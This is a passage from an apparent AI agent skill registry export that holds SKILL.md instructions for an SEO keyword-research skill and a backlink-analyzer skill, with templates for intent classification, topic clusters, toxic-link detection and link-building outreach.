opportunities for a [industry] business targeting [audience]\n```\n\n### With Specific Goals\n\n```\nFind low-competition keywords for [topic] with commercial intent\n```\n\n```\nIdentify question-based keywords for [topic] that AI systems might answer\n```\n\n### Competitive Research\n\n```\nWhat keywords is [competitor URL] ranking for that I should target?\n```\n\n## Data Sources\n\n> See [CONNECTORS.md](../../CONNECTORS.md) for tool category placeholders.\n\n**With ~~SEO tool + ~~search console connected:**\nAutomatically pull historical search volume data, keyword difficulty scores, SERP analysis, current rankings from ~~search console, and competitor keyword overlap. The skill will fetch seed keyword metrics, related keyword suggestions, and search trend data.\n\n**With manual data only:**\nAsk the user to provide:\n1. Seed keywords or topic description\n2. Target audience and geographic location\n3. Business goals (traffic, leads, sales)\n4. Current domain authority (if known) or site age\n5. Any known keyword performance data or search volume estimates\n\nProceed with the full analysis using provided data. Note in the output which metrics are from automated collection vs. user-provided data.\n\n## Instructions\n\nWhen a user requests keyword research:\n\n1. **Understand the Context**\n\n Ask clarifying questions if not provided:\n - What is your product/service/topic?\n - Who is your target audience?\n - What is your business goal? (traffic, leads, sales)\n - What is your current domain authority? (new site, established, etc.)\n - Any specific geographic targeting?\n - Preferred language?\n\n2. **Generate Seed Keywords**\n\n Start with:\n - Core product/service terms\n - Problem-focused keywords (what issues do you solve?)\n - Solution-focused keywords (how do you help?)\n - Audience-specific terms\n - Industry terminology\n\n3. **Expand Keyword List**\n\n For each seed keyword, generate variations:\n \n ```markdown\n ## Keyword Expansion Patterns\n \n ### Modifiers\n - Best [keyword]\n - Top [keyword]\n - [keyword] for [audience]\n - [keyword] near me\n - [keyword] [year]\n - How to [keyword]\n - What is [keyword]\n - [keyword] vs [alternative]\n - [keyword] examples\n - [keyword] tools\n \n ### Long-tail Variations\n - [keyword] for beginners\n - [keyword] for small business\n - Free [keyword]\n - [keyword] software/tool/service\n - [keyword] template\n - [keyword] checklist\n - [keyword] guide\n ```\n\n4. **Classify Search Intent**\n\n Categorize each keyword:\n\n | Intent | Signals | Example | Content Type |\n |--------|---------|---------|--------------|\n | Informational | what, how, why, guide, learn | \"what is SEO\" | Blog posts, guides |\n | Navigational | brand names, specific sites | \"google analytics login\" | Homepage, product pages |\n | Commercial | best, review, vs, compare | \"best SEO tools [current year]\" | Comparison posts, reviews |\n | Transactional | buy, price, discount, order | \"buy SEO software\" | Product pages, pricing |\n\n5. **Assess Keyword Difficulty**\n\n Score each keyword (1-100 scale):\n\n ```markdown\n ### Difficulty Factors\n \n **High Difficulty (70-100)**\n - Major brands ranking\n - High domain authority competitors\n - Established content (1000+ backlinks)\n - Paid ads dominating SERP\n \n **Medium Difficulty (40-69)**\n - Mix of authority and niche sites\n - Some opportunities for quality content\n - Moderate backlink requirements\n \n **Low Difficulty (1-39)**\n - Few authoritative competitors\n - Thin or outdated content ranking\n - Long-tail variations\n - New or emerging topics\n ```\n\n6. **Calculate Opportunity Score**\n\n Formula: `Opportunity = (Volume \u00d7 Intent Value) / Difficulty`\n\n **Intent Value** assigns a numeric weight by search intent:\n - Informational = 1\n - Navigational = 1\n - Commercial = 2\n - Transactional = 3\n\n ```markdown\n ### Opportunity Matrix\n \n | Scenario | Volume | Difficulty | Intent | Priority |\n |----------|--------|------------|--------|----------|\n | Quick Win | Low-Med | Low | High | \u2b50\u2b50\u2b50\u2b50\u2b50 |\n | Growth | High | Medium | High | \u2b50\u2b50\u2b50\u2b50 |\n | Long-term | High | High | High | \u2b50\u2b50\u2b50 |\n | Research | Low | Low | Low | \u2b50\u2b50 |\n ```\n\n7. **Identify GEO Opportunities**\n\n Keywords likely to trigger AI responses:\n \n ```markdown\n ### GEO-Relevant Keywords\n \n **High GEO Potential**\n - Question formats: \"What is...\", \"How does...\", \"Why is...\"\n - Definition queries: \"[term] meaning\", \"[term] definition\"\n - Comparison queries: \"[A] vs [B]\", \"difference between...\"\n - List queries: \"best [category]\", \"top [number] [items]\"\n - How-to queries: \"how to [action]\", \"steps to [goal]\"\n \n **AI Answer Indicators**\n - Query is factual/definitional\n - Answer can be summarized concisely\n - Topic is well-documented online\n - Low commercial intent\n ```\n\n8. **Create Topic Clusters**\n\n Group keywords into content clusters:\n\n ```markdown\n ## Topic Cluster: [Main Topic]\n \n **Pillar Content**: [Primary keyword]\n - Search volume: [X]\n - Difficulty: [X]\n - Content type: Comprehensive guide\n \n **Cluster Content**:\n \n ### Sub-topic 1: [Secondary keyword]\n - Volume: [X]\n - Difficulty: [X]\n - Links to: Pillar\n - Content type: [Blog post/Tutorial/etc.]\n \n ### Sub-topic 2: [Secondary keyword]\n - Volume: [X]\n - Difficulty: [X]\n - Links to: Pillar + Sub-topic 1\n - Content type: [Blog post/Tutorial/etc.]\n \n [Continue for all cluster keywords...]\n ```\n\n9. **Generate Output Report**\n\n ```markdown\n # Keyword Research Report: [Topic]\n \n **Generated**: [Date]\n **Target Audience**: [Audience]\n **Business Goal**: [Goal]\n \n ## Executive Summary\n \n - Total keywords analyzed: [X]\n - High-priority opportunities: [X]\n - Estimated traffic potential: [X]/month\n - Recommended focus areas: [List]\n \n ## Top Keyword Opportunities\n \n ### Quick Wins (Low difficulty, High value)\n \n | Keyword | Volume | Difficulty | Intent | Score |\n |---------|--------|------------|--------|-------|\n | [keyword 1] | [X] | [X] | [type] | [X] |\n | [keyword 2] | [X] | [X] | [type] | [X] |\n \n ### Growth Keywords (Medium difficulty, High volume)\n \n | Keyword | Volume | Difficulty | Intent | Score |\n |---------|--------|------------|--------|-------|\n | [keyword 1] | [X] | [X] | [type] | [X] |\n \n ### GEO Opportunities (AI-citation potential)\n \n | Keyword | Type | AI Potential | Recommended Format |\n |---------|------|--------------|-------------------|\n | [keyword 1] | Question | High | Q&A section |\n | [keyword 2] | Definition | High | Clear definition |\n \n ## Topic Clusters\n \n [Include cluster maps]\n \n ## Content Calendar Recommendations\n \n | Month | Content | Target Keyword | Type |\n |-------|---------|----------------|------|\n | [Month] | [Title] | [Keyword] | [Type] |\n \n ## Next Steps\n\n 1. [Action item 1]\n 2. [Action item 2]\n 3. [Action item 3]\n ```\n\n## Validation Checkpoints\n\n### Input Validation\n- [ ] Seed keywords or topic description clearly provided\n- [ ] Target audience and business goals specified\n- [ ] Geographic and language targeting confirmed\n- [ ] Domain authority or site maturity level established\n\n### Output Validation\n- [ ] Every recommendation cites specific data points (not generic advice)\n- [ ] Search volume and difficulty scores included for each keyword\n- [ ] Keywords grouped by intent and mapped to content types\n- [ ] Topic clusters show clear pillar-to-cluster relationships\n- [ ] Source of each data point clearly stated (~~SEO tool data, user-provided, or estimated)\n\n## Example\n\n**User**: \"Research keywords for a project management software company targeting small businesses\"\n\n**Output**:\n\n```markdown\n# Keyword Research Report: Project Management Software\n\n**Generated**: [current month and year]\n**Target Audience**: Small business owners and teams\n**Business Goal**: Software signups and trials\n\n## Executive Summary\n\n- Total keywords analyzed: 150+\n- High-priority opportunities: 23\n- Estimated traffic potential: 45,000/month\n- Recommended focus areas: \n - Task management workflows\n - Team collaboration\n - Small business productivity\n\n## Top Keyword Opportunities\n\n### Quick Wins (Priority: Immediate)\n\n| Keyword | Volume | Difficulty | Intent | Score |\n|---------|--------|------------|--------|-------|\n| project management for small teams | 1,200 | 28 | Commercial | 92 |\n| simple task management software | 890 | 25 | Commercial | 89 |\n| best free project management tool | 2,400 | 35 | Commercial | 85 |\n| how to manage remote team projects | 720 | 22 | Informational | 82 |\n| project tracking spreadsheet alternative | 480 | 18 | Commercial | 80 |\n\n### Growth Keywords (Priority: 3-6 months)\n\n| Keyword | Volume | Difficulty | Intent | Score |\n|---------|--------|------------|--------|-------|\n| project management software | 18,000 | 72 | Commercial | 65 |\n| best project management tools [current year] | 8,500 | 65 | Commercial | 62 |\n| project management app | 12,000 | 68 | Commercial | 58 |\n\n### GEO Opportunities (AI-citation potential)\n\n| Keyword | Type | AI Potential | Recommended Format |\n|---------|------|--------------|-------------------|\n| what is project management | Definition | \u2b50\u2b50\u2b50\u2b50\u2b50 | Clear definition + methodology |\n| agile vs waterfall | Comparison | \u2b50\u2b50\u2b50\u2b50\u2b50 | Side-by-side comparison table |\n| project management methodologies | List | \u2b50\u2b50\u2b50\u2b50 | Comprehensive list with pros/cons |\n| how to create a project plan | How-to | \u2b50\u2b50\u2b50\u2b50 | Step-by-step guide |\n| project management best practices | List | \u2b50\u2b50\u2b50\u2b50 | Numbered best practices |\n\n## Topic Clusters\n\n### Cluster 1: Project Management Fundamentals\n\n**Pillar**: \"Complete Guide to Project Management\" (8,500 volume)\n\nCluster articles:\n1. What is project management? (2,200 volume)\n2. Project management methodologies explained (1,800 volume)\n3. How to create a project plan (1,400 volume)\n4. Project management best practices (1,200 volume)\n5. Project management roles and responsibilities (890 volume)\n\n### Cluster 2: Team Collaboration\n\n**Pillar**: \"Team Collaboration Tools Guide\" (4,200 volume)\n\nCluster articles:\n1. How to improve team communication (1,600 volume)\n2. Remote team management tips (1,400 volume)\n3. Best practices for distributed teams (920 volume)\n4. Team productivity tools comparison (780 volume)\n\n## Content Calendar Recommendations\n\n| Month | Content | Target Keyword | Type |\n|-------|---------|----------------|------|\n| Week 1 | Simple Task Management Guide | simple task management software | Blog + Demo |\n| Week 2 | Project Management for Small Teams | project management for small teams | Pillar Page |\n| Week 3 | Agile vs Waterfall: Complete Comparison | agile vs waterfall | Comparison |\n| Week 4 | Free PM Tools Roundup | best free project management tool | Listicle |\n\n## Next Steps\n\n1. **Immediate**: Create landing pages for top 5 quick-win keywords\n2. **Week 1-2**: Write pillar content for \"Project Management Fundamentals\"\n3. **Week 3-4**: Build out cluster content with internal linking\n4. **Ongoing**: Track rankings and adjust strategy based on performance\n```\n\n## Advanced Features\n\n### Intent Mapping\n\n```\nMap all keywords for [topic] by search intent and funnel stage\n```\n\n### Seasonal Analysis\n\n```\nIdentify seasonal keyword trends for [industry]\n```\n\n### Competitor Gap\n\n```\nWhat keywords do [competitor 1], [competitor 2], [competitor 3] rank for \nthat I'm missing?\n```\n\n### Local Keywords\n\n```\nResearch local keywords for [business type] in [city/region]\n```\n\n## Tips for Success\n\n1. **Start with seed keywords** that describe your core offering\n2. **Don't ignore long-tail** - they often have highest conversion rates\n3. **Match content to intent** - informational queries need guides, not sales pages\n4. **Group into clusters** for topical authority\n5. **Prioritize quick wins** to build momentum and credibility\n6. **Include GEO keywords** in your strategy for AI visibility\n7. **Review quarterly** - keyword dynamics change over time\n\n## Keyword Intent Taxonomy\n\nUnderstanding search intent is critical for keyword selection and content planning.\n\n### Intent Classification Matrix\n\n| Intent Type | User Goal | SERP Signals | Content Strategy | Conversion Potential |\n|------------|-----------|--------------|-----------------|---------------------|\n| Informational | Learn something | Featured snippets, PAA, knowledge panels | Guides, tutorials, explainers | Low (nurture) |\n| Navigational | Find specific site/page | Brand results, sitelinks | Brand pages, login pages | Medium (brand) |\n| Commercial Investigation | Research before buying | Comparison results, reviews, \"best\" lists | Comparisons, reviews, buying guides | High (mid-funnel) |\n| Transactional | Complete an action | Shopping results, ads, product pages | Product pages, pricing, signup | Highest (bottom-funnel) |\n\n### Intent Signal Words\n\n| Intent | Signal Words | Example Keywords |\n|--------|-------------|-----------------|\n| Informational | how, what, why, when, guide, tutorial, learn, examples | \"how to improve SEO\", \"what is schema markup\" |\n| Navigational | [brand name], login, sign in, official, website | \"Ahrefs login\", \"Google Search Console\" |\n| Commercial | best, top, review, comparison, vs, alternative, pricing | \"best SEO tools 2026\", \"Ahrefs vs SEMrush\" |\n| Transactional | buy, purchase, discount, coupon, free trial, download, hire | \"buy Ahrefs subscription\", \"SEO audit tool free\" |\n\n## Topic Cluster Architecture\n\n### Hub-and-Spoke Model\n\n```\n \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n \u250c\u2500\u2500\u2500\u2500\u2500\u2502 Sub-topic A \u2502\n \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u251c\u2500\u2500\u2500\u2500\u2500\u2502 Sub-topic B \u2502\n\u2502 PILLAR \u2502\u2500\u2500\u2500\u2524 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n\u2502 PAGE \u2502 \u251c\u2500\u2500\u2500\u2500\u2500\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502 \u2502 Sub-topic C \u2502\n \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n \u2514\u2500\u2500\u2500\u2500\u2500\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n \u2502 Sub-topic D \u2502\n \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n**Pillar Page**: Comprehensive overview (3,000-5,000 words) targeting broad keyword\n**Cluster Pages**: Focused articles (1,500-2,500 words) targeting specific long-tail keywords\n**Internal Links**: Every cluster page links to pillar; pillar links to all cluster pages\n\n### Topic Cluster Planning Template\n\n| Pillar Topic | Pillar Keyword | Cluster Topic | Cluster Keyword | Volume | Difficulty | Status |\n|-------------|---------------|--------------|----------------|--------|-----------|--------|\n| [Broad topic] | [Head keyword] | [Subtopic 1] | [Long-tail 1] | [X] | [X] | [Draft/Published] |\n\n## Keyword Prioritization Framework\n\n**Which score to use**: Use the Priority Score (below) for initial keyword triage and shortlisting. Use the Opportunity Score (Step 6 above) for final content calendar prioritization, where the additional GEO and competitive factors provide more nuanced ranking.\n\n### Priority Scoring Matrix\n\nScore each keyword 1-5 on these factors, then calculate weighted total:\n\n| Factor | Weight | Score 1 (Low) | Score 5 (High) |\n|--------|--------|---------------|----------------|\n| Search Volume | 20% | <100/mo | >10,000/mo |\n| Keyword Difficulty | 25% | KD >80 (hard) | KD <20 (easy) |\n| Business Relevance | 30% | Tangential to offering | Core to offering |\n| Search Intent Match | 15% | Informational only | Transactional/commercial |\n| Trend Direction | 10% | Declining | Growing |\n\n**Priority Score** = \u03a3(Factor Weight \u00d7 Score) / 5\n\n### Priority Categories\n\n| Priority | Score Range | Action |\n|----------|------------|--------|\n| P0 \u2014 Must Target | 4.0-5.0 | Create content immediately |\n| P1 \u2014 High Value | 3.0-3.9 | Queue for next content sprint |\n| P2 \u2014 Opportunity | 2.0-2.9 | Plan for future content calendar |\n| P3 \u2014 Monitor | 1.0-1.9 | Track but don't prioritize |\n\n## Seasonal Keyword Patterns\n\n### Seasonal Analysis Framework\n\n| Season Trigger | Example Keywords | Planning Lead Time | Content Strategy |\n|---------------|-----------------|-------------------|-----------------|\n| Calendar events | \"Black Friday SEO\", \"New Year marketing plan\" | 3-4 months ahead | Publish 6-8 weeks before peak |\n| Industry events | \"[Conference] takeaways\", \"Google algorithm update\" | 1-2 months / reactive | Pre-plan templates, react quickly |\n| Budget cycles | \"marketing budget template Q1\", \"SEO ROI report\" | 2-3 months ahead | Target planning season (Oct-Dec) |\n| Seasonal demand | \"summer marketing ideas\", \"holiday email campaigns\" | 2-3 months ahead | Refresh annually with new data |\n\n## Reference Materials\n\n- [Keyword Intent Taxonomy](./references/keyword-intent-taxonomy.md) \u2014 Complete intent classification with signal words and content strategies\n- [Topic Cluster Templates](./references/topic-cluster-templates.md) \u2014 Hub-and-spoke architecture templates for pillar and cluster content\n\n## Related Skills\n\n- [competitor-analysis](../competitor-analysis/) \u2014 See what keywords competitors rank for\n- [content-gap-analysis](../content-gap-analysis/) \u2014 Find missing keyword opportunities\n- [seo-content-writer](../../build/seo-content-writer/) \u2014 Create content for target keywords\n- [geo-content-optimizer](../../build/geo-content-optimizer/) \u2014 Optimize for AI citations\n- [rank-tracker](../../monitor/rank-tracker/) \u2014 Monitor keyword position changes over time\n- [memory-management](../../cross-cutting/memory-management/) \u2014 Store keyword data in project memory\n- [serp-analysis](../serp-analysis/) \u2014 SERP patterns inform keyword strategy\n\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/aaron-he-zhu/keyword-research/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/aaron-he-zhu/keyword-research/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/aaron-he-zhu/keyword-research/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/aaron-he-zhu/keyword-research/SKILL.md", "commit": "fe9bc149c1"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/aaron-he-zhu/keyword-research/SKILL.md", "importedAt": "2026-02-18T19:24:21.002Z"}}}}, {"slug": "clawhub-backlink-analyzer", "name": "Backlink Analyzer", "category": "DeFi", "description": "SEO & GEO Skills Library \u00b7 20 skills for SEO + GEO \u00b7 Install all: npx skills add aaron-he-zhu/seo-geo-claude-skills", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "Backlink Analyzer", "slug": "clawhub-backlink-analyzer", "version": "1.0.0", "description": "--- name: backlink-analyzer description: 'Use when the user asks to \"analyze backlinks\", \"check link profile\", \"find toxic links\", \"link building opportunities\", \"off-page SEO\", \"who links to me\", \"I have spammy links\", \"how do I get more backlinks\", or \"disavow links\". Analyzes backlink profiles to understand link authority, identify toxic links, discover link building opportunities, and monitor competitor link acquisition. Essential for off-page SEO strategy. For internal link analysis, see internal-linking-optimizer. For competitor link profiles, see competitor-analysis.' license: Apache-2.0 metadata: author: aaron-he-zhu version: \"2.0.0\" geo-relevance: \"low\" tags: - seo - backlinks - link building - link profile - toxic links - off-page seo - link authority - domain authority - link acquisition triggers: - \"analyze backlinks\" - \"check link profile\" - \"find toxic links\" - \"link building opportunities\" - \"off-page SEO\" - \"backlink audit\" - \"link quality\" - \"who links to me\" - \"I have spammy links\" - \"how do I get more backlinks\" - \"disavow links\" ---", "documentation_md": "---\nname: backlink-analyzer\ndescription: 'Use when the user asks to \"analyze backlinks\", \"check link profile\", \"find toxic links\", \"link building opportunities\", \"off-page SEO\", \"who links to me\", \"I have spammy links\", \"how do I get more backlinks\", or \"disavow links\". Analyzes backlink profiles to understand link authority, identify toxic links, discover link building opportunities, and monitor competitor link acquisition. Essential for off-page SEO strategy. For internal link analysis, see internal-linking-optimizer. For competitor link profiles, see competitor-analysis.'\nlicense: Apache-2.0\nmetadata:\n author: aaron-he-zhu\n version: \"2.0.0\"\n geo-relevance: \"low\"\n tags:\n - seo\n - backlinks\n - link building\n - link profile\n - toxic links\n - off-page seo\n - link authority\n - domain authority\n - link acquisition\n triggers:\n - \"analyze backlinks\"\n - \"check link profile\"\n - \"find toxic links\"\n - \"link building opportunities\"\n - \"off-page SEO\"\n - \"backlink audit\"\n - \"link quality\"\n - \"who links to me\"\n - \"I have spammy links\"\n - \"how do I get more backlinks\"\n - \"disavow links\"\n---\n\n# Backlink Analyzer\n\n\n> **[SEO & GEO Skills Library](https://skills.sh/aaron-he-zhu/seo-geo-claude-skills)** \u00b7 20 skills for SEO + GEO \u00b7 Install all: `npx skills add aaron-he-zhu/seo-geo-claude-skills`\n\n<details>\n<summary>Browse all 20 skills</summary>\n\n**Research** \u00b7 [keyword-research](../../research/keyword-research/) \u00b7 [competitor-analysis](../../research/competitor-analysis/) \u00b7 [serp-analysis](../../research/serp-analysis/) \u00b7 [content-gap-analysis](../../research/content-gap-analysis/)\n\n**Build** \u00b7 [seo-content-writer](../../build/seo-content-writer/) \u00b7 [geo-content-optimizer](../../build/geo-content-optimizer/) \u00b7 [meta-tags-optimizer](../../build/meta-tags-optimizer/) \u00b7 [schema-markup-generator](../../build/schema-markup-generator/)\n\n**Optimize** \u00b7 [on-page-seo-auditor](../../optimize/on-page-seo-auditor/) \u00b7 [technical-seo-checker](../../optimize/technical-seo-checker/) \u00b7 [internal-linking-optimizer](../../optimize/internal-linking-optimizer/) \u00b7 [content-refresher](../../optimize/content-refresher/)\n\n**Monitor** \u00b7 [rank-tracker](../rank-tracker/) \u00b7 **backlink-analyzer** \u00b7 [performance-reporter](../performance-reporter/) \u00b7 [alert-manager](../alert-manager/)\n\n**Cross-cutting** \u00b7 [content-quality-auditor](../../cross-cutting/content-quality-auditor/) \u00b7 [domain-authority-auditor](../../cross-cutting/domain-authority-auditor/) \u00b7 [entity-optimizer](../../cross-cutting/entity-optimizer/) \u00b7 [memory-management](../../cross-cutting/memory-management/)\n\n</details>\n\nThis skill helps you analyze, monitor, and optimize your backlink profile. It identifies link quality, discovers opportunities, and tracks competitor link building activities.\n\n## When to Use This Skill\n\n- Auditing your current backlink profile\n- Identifying toxic or harmful links\n- Discovering link building opportunities\n- Analyzing competitor backlink strategies\n- Monitoring new and lost links\n- Evaluating link quality for outreach\n- Preparing for link disavow\n\n## What This Skill Does\n\n1. **Profile Analysis**: Comprehensive backlink profile overview\n2. **Quality Assessment**: Evaluates link authority and relevance\n3. **Toxic Link Detection**: Identifies harmful links\n4. **Competitor Analysis**: Compares link profiles across competitors\n5. **Opportunity Discovery**: Finds link building prospects\n6. **Trend Monitoring**: Tracks link acquisition over time\n7. **Disavow Guidance**: Helps create disavow files\n\n## How to Use\n\n### Analyze Your Profile\n\n```\nAnalyze backlink profile for [domain]\n```\n\n### Find Opportunities\n\n```\nFind link building opportunities by analyzing [competitor domains]\n```\n\n### Detect Issues\n\n```\nCheck for toxic backlinks on [domain]\n```\n\n### Compare Profiles\n\n```\nCompare backlink profiles: [your domain] vs [competitor domains]\n```\n\n## Data Sources\n\n> See [CONNECTORS.md](../../CONNECTORS.md) for tool category placeholders.\n\n**With ~~link database + ~~SEO tool connected:**\nAutomatically pull comprehensive backlink profiles including referring domains, anchor text distribution, link quality metrics (DA/DR), link velocity, and toxic link detection from ~~link database. Competitor backlink data from ~~SEO tool for gap analysis.\n\n**With manual data only:**\nAsk the user to provide:\n1. Backlink export CSV (with source domains, anchor text, link type)\n2. Referring domains list with authority metrics\n3. Competitor domains for comparison\n4. Recent link gains/losses if tracking changes\n5. Any known toxic or spammy links\n\nProceed with the full analysis using provided data. Note in the output which metrics are from automated collection vs. user-provided data.\n\n## Instructions\n\nWhen a user requests backlink analysis:\n\n1. **Generate Profile Overview**\n\n ```markdown\n ## Backlink Profile Overview\n \n **Domain**: [domain]\n **Analysis Date**: [date]\n \n ### Key Metrics\n \n | Metric | Value | Industry Avg | Status |\n |--------|-------|--------------|--------|\n | Total Backlinks | [X] | [Y] | [Above/Below avg] |\n | Referring Domains | [X] | [Y] | [status] |\n | Domain Authority | [X] | [Y] | [status] |\n | Domain Rating | [X] | [Y] | [status] |\n | Dofollow Links | [X] ([Y]%) | [Z]% | [status] |\n | Nofollow Links | [X] ([Y]%) | [Z]% | [status] |\n \n ### Link Velocity\n \n | Period | New Links | Lost Links | Net Change |\n |--------|-----------|------------|------------|\n | Last 30 days | [X] | [Y] | [+/-Z] |\n | Last 90 days | [X] | [Y] | [+/-Z] |\n | Last year | [X] | [Y] | [+/-Z] |\n \n ### Authority Distribution\n \n ```\n DA 80-100: \u2588\u2588\u2588\u2588 [X]%\n DA 60-79: \u2588\u2588\u2588\u2588\u2588\u2588 [X]%\n DA 40-59: \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 [X]%\n DA 20-39: \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 [X]%\n DA 0-19: \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 [X]%\n ```\n \n **Profile Health Score**: [X]/100\n ```\n\n2. **Analyze Link Quality**\n\n ```markdown\n ## Link Quality Analysis\n \n ### Top Quality Backlinks\n \n | Source Domain | DA | Link Type | Anchor | Target Page |\n |---------------|-----|-----------|--------|-------------|\n | [domain 1] | [DA] | Editorial | [anchor] | [page] |\n | [domain 2] | [DA] | Guest Post | [anchor] | [page] |\n | [domain 3] | [DA] | Resource | [anchor] | [page] |\n \n ### Link Type Distribution\n \n | Type | Count | Percentage | Assessment |\n |------|-------|------------|------------|\n | Editorial | [X] | [Y]% | \u2705 High quality |\n | Guest posts | [X] | [Y]% | \u2705 Good |\n | Resource pages | [X] | [Y]% | \u2705 Good |\n | Directory | [X] | [Y]% | \u26a0\ufe0f Moderate |\n | Forum/Comments | [X] | [Y]% | \u26a0\ufe0f Low quality |\n | Sponsored/Paid | [X] | [Y]% | \u26a0\ufe0f Risky |\n \n ### Anchor Text Analysis\n \n | Anchor Type | Count | Percentage | Status |\n |-------------|-------|------------|--------|\n | Brand name | [X] | [Y]% | \u2705 Natural |\n | Exact match | [X] | [Y]% | \u26a0\ufe0f [Warning if >30%] |\n | Partial match | [X] | [Y]% | \u2705 Natural |\n | URL/Naked | [X] | [Y]% | \u2705 Natural |\n | Generic | [X] | [Y]% | \u2705 Natural |\n \n **Top Anchor Texts**:\n 1. \"[anchor 1]\" - [X] links\n 2. \"[anchor 2]\" - [X] links\n 3. \"[anchor 3]\" - [X] links\n \n ### Geographic Distribution\n \n | Country | Links | Percentage |\n |---------|-------|------------|\n | [Country 1] | [X] | [Y]% |\n | [Country 2] | [X] | [Y]% |\n | [Country 3] | [X] | [Y]% |\n ```\n\n3. **Identify Toxic Links**\n\n ```markdown\n ## Toxic Link Analysis\n \n ### Risk Summary\n \n **Toxic Score**: [X]/100\n **High Risk Links**: [X]\n **Medium Risk Links**: [X]\n **Action Required**: [Yes/No]\n \n ### Toxic Link Indicators\n \n | Risk Type | Count | Examples |\n |-----------|-------|----------|\n | Spammy domains | [X] | [domains] |\n | Link farms | [X] | [domains] |\n | PBN suspected | [X] | [domains] |\n | Irrelevant sites | [X] | [domains] |\n | Foreign language spam | [X] | [domains] |\n | Penalized domains | [X] | [domains] |\n \n ### High-Risk Links to Review\n \n | Source Domain | Risk Score | Issue | Recommendation |\n |---------------|------------|-------|----------------|\n | [domain 1] | 95/100 | Link farm | Disavow |\n | [domain 2] | 85/100 | Spam site | Disavow |\n | [domain 3] | 72/100 | PBN | Investigate |\n \n ### Disavow Recommendations\n \n **Domains to disavow** ([X] total):\n ```\n domain:[spam-site-1.com]\n domain:[spam-site-2.com]\n domain:[link-farm.com]\n ```\n \n **Individual URLs to disavow** ([X] total):\n ```\n [specific-url-1]\n [specific-url-2]\n ```\n ```\n\n4. **Compare Against Competitors**\n\n ```markdown\n ## Competitive Backlink Analysis\n \n ### Profile Comparison\n \n | Metric | You | Competitor 1 | Competitor 2 | Competitor 3 |\n |--------|-----|--------------|--------------|--------------|\n | Referring Domains | [X] | [X] | [X] | [X] |\n | Domain Authority | [X] | [X] | [X] | [X] |\n | Domain Rating | [X] | [X] | [X] | [X] |\n | Link Velocity (30d) | [X] | [X] | [X] | [X] |\n | Avg Link DA | [X] | [X] | [X] | [X] |\n \n ### Unique Referring Domains\n \n **Links only you have**: [X] domains\n **Links competitors share**: [X] domains \n **Links competitors have, you don't**: [X] domains \u2b05\ufe0f Opportunity\n \n ### Link Intersection Analysis\n \n **Sites linking to competitors but not you**:\n \n | Domain | DA | Links to Comp 1 | Comp 2 | Comp 3 | Opportunity |\n |--------|-----|-----------------|--------|--------|-------------|\n | [domain 1] | [DA] | \u2705 | \u2705 | \u2705 | High - All competitors |\n | [domain 2] | [DA] | \u2705 | \u2705 | \u274c | High - 2 competitors |\n | [domain 3] | [DA] | \u2705 | \u274c | \u274c | Medium - 1 competitor |\n \n ### Content Getting Most Links (Competitor Analysis)\n \n | Competitor | Content | Backlinks | Content Type |\n |------------|---------|-----------|--------------|\n | [Comp 1] | [Title/URL] | [X] | [Type] |\n | [Comp 2] | [Title/URL] | [X] | [Type] |\n | [Comp 3] | [Title/URL] | [X] | [Type] |\n \n **Insight**: [What content types attract most links in this niche]\n ```\n\n5. **Find Link Building Opportunities**\n\n ```markdown\n ## Link Building Opportunities\n \n ### High-Priority Opportunities\n \n #### 1. Link Intersection Prospects\n \n Sites linking to multiple competitors but not you:\n \n | Domain | DA | Why Link | Contact Approach |\n |--------|-----|----------|------------------|\n | [domain 1] | [DA] | [resource page about X] | Suggest your resource |\n | [domain 2] | [DA] | [links to similar tools] | Pitch your tool |\n | [domain 3] | [DA] | [industry roundup] | Request inclusion |\n \n #### 2. Broken Link Opportunities\n \n | Source Page | Broken Link | Suggested Replacement |\n |-------------|-------------|----------------------|\n | [URL] | [broken URL] | [your relevant page] |\n | [URL] | [broken URL] | [your relevant page] |\n \n #### 3. Unlinked Mentions\n \n | Site | Mention | Your Page to Link |\n |------|---------|-------------------|\n | [domain] | Mentioned your brand | [homepage] |\n | [domain] | Referenced your data | [research page] |\n \n #### 4. Resource Page Opportunities\n \n | Resource Page | Topic | Your Relevant Content |\n |---------------|-------|----------------------|\n | [URL] | [topic] | [your content] |\n | [URL] | [topic] | [your content] |\n \n #### 5. Guest Post Prospects\n \n | Site | DA | Topic Fit | Contact |\n |------|-----|-----------|---------|\n | [domain] | [DA] | [relevance] | [contact info/page] |\n | [domain] | [DA] | [relevance] | [contact info/page] 